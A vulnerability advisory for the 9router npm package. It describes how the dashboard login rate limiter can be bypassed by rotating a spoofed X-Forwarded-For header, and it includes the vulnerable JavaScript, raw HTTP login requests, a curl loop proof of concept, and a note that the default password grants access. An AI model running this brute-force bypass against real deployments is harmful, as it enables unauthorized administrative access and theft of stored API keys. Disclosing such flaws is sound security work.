Lack of protection against brute force attacks In 9router
Description
9router: Login brute-force protection bypass via spoofed X-Forwarded-For header
Summary
The 9router dashboard login rate limiter derives the client identity from the attacker-controlled X-Forwarded-For HTTP header. When 9router is directly exposed, or deployed behind a reverse proxy that does not overwrite untrusted forwarding headers, a remote attacker can rotate the X-Forwarded-For value on each login attempt and receive a fresh rate-limit bucket every time.
This bypasses the dashboard brute-force protection and makes the login lockout mechanism ineffective.
Details
Component | File | Note |
|---|---|---|
Dashboard login rate limiter | src/lib/auth/loginLimiter.js | Uses X-Forwarded-For as the client identity without a trusted-proxy check |
Dashboard login route | src/app/api/auth/login/route.js | Calls checkLock() and recordFail() using the spoofable client identity |
Vulnerable Code
src/lib/auth/loginLimiter.js:
export function getClientIp(request) { const xff = request.headers.get("x-forwarded-for"); if (xff) return xff.split(",")[0].trim(); return request.headers.get("x-real-ip") || "unknown"; }
The returned value is used as the key for the in-memory rate-limit state:
const attempts = new Map(); // ip -> { fails, lockUntil, lockLevel, lastFailAt }
The login route uses this value when checking and recording failed login attempts:
export async function POST(request) { const ip = getClientIp(request); const lock = checkLock(ip); if (lock.locked) { return NextResponse.json( { error: `Too many failed attempts. Try again in ${lock.retryAfter}s.` }, { status: 429 }...
Because X-Forwarded-For is accepted directly from the request, each unique header value creates a new rate-limit bucket with zero previous failures. An attacker can therefore bypass both the 5-attempt threshold and the progressive lockout durations.
PoC
Step 1 — Baseline: rate limiter triggers when the client identity is stable
Send repeated failed login attempts with the same X-Forwarded-For value:
POST /api/auth/login HTTP/1.1 Host: localhost:20128 Content-Type: application/json X-Forwarded-For: 1.1.1.1 {"password":"wrong-password"}
Observed behavior:
Attempt | Response |
|---|---|
1 | Invalid password. 4 attempt(s) left before lockout. |
2 | Invalid password. 3 attempt(s) left before lockout. |
3 | Invalid password. 2 attempt(s) left before lockout. |
4 | Invalid password. 1 attempt(s) left before lockout. |
5 | Too many failed attempts. Try again in 30s. |
6 | Too many failed attempts. Try again in 30s. |
This confirms that the lockout logic works when all attempts are assigned to the same rate-limit bucket.
Step 2 — Bypass: rotate X-Forwarded-For on each request
Send failed login attempts while changing the X-Forwarded-For value for every request:
for i in $(seq 1 10); do curl -s -X POST "http://localhost:20128/api/auth/login" \ -H "Content-Type: application/json" \ -H "X-Forwarded-For: 10.0.0.$i" \ -d '{"password":"wrong-password"}' echo done
Observed response for every request:
{ "error": "Invalid password. 4 attempt(s) left before lockout.", "remainingBeforeLock": 4 }
The counter resets to the initial state on every request, and the lockout is never triggered.
Step 3 — Impact amplifier: default dashboard password
If the instance is still using the default dashboard password, the rate-limit bypass allows an attacker to avoid lockout while attempting to authenticate.
Example request:
POST /api/auth/login HTTP/1.1 Host: localhost:20128 Content-Type: application/json X-Forwarded-For: 99.99.99.99 {"password":"<default-dashboard-password>"}
Observed response on a default installation:
HTTP/1.1 200 OK Set-Cookie: auth_token=<redacted>; Path=/; HttpOnly; SameSite=lax
{ "success": true }
The default password is an impact amplifier, not the root cause. Even if an administrator changes the password, the rate limiter remains structurally bypassable because the attacker controls the rate-limit key.
Attack Scenario
A remote attacker identifies a publicly reachable 9router dashboard.
The attacker sends repeated login attempts to /api/auth/login.
For each attempt, the attacker changes the X-Forwarded-For header value.
9router treats each request as a different client and assigns a fresh rate-limit bucket.
The attacker can continue brute-force attempts without triggering the configured lockout.
If the instance uses a weak or default dashboard password, the attacker can gain administrative access.
Impact
A successful attacker can bypass the dashboard login lockout mechanism and perform unlimited brute-force attempts against the 9router dashboard password.
If authentication succeeds, the attacker can gain administrative access to the 9router dashboard and may be able to:
Access configured provider credentials and API keys.
Change dashboard and authentication settings.
Disable login protection if the application allows it.
Create persistent API keys or other long-lived access tokens.
Modify application configuration.
Chain the access with other server-side functionality exposed by the dashboard.
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Component | Affected version | Patched versions |
|---|---|---|---|
npm | 0.4.77 |
Aliases
References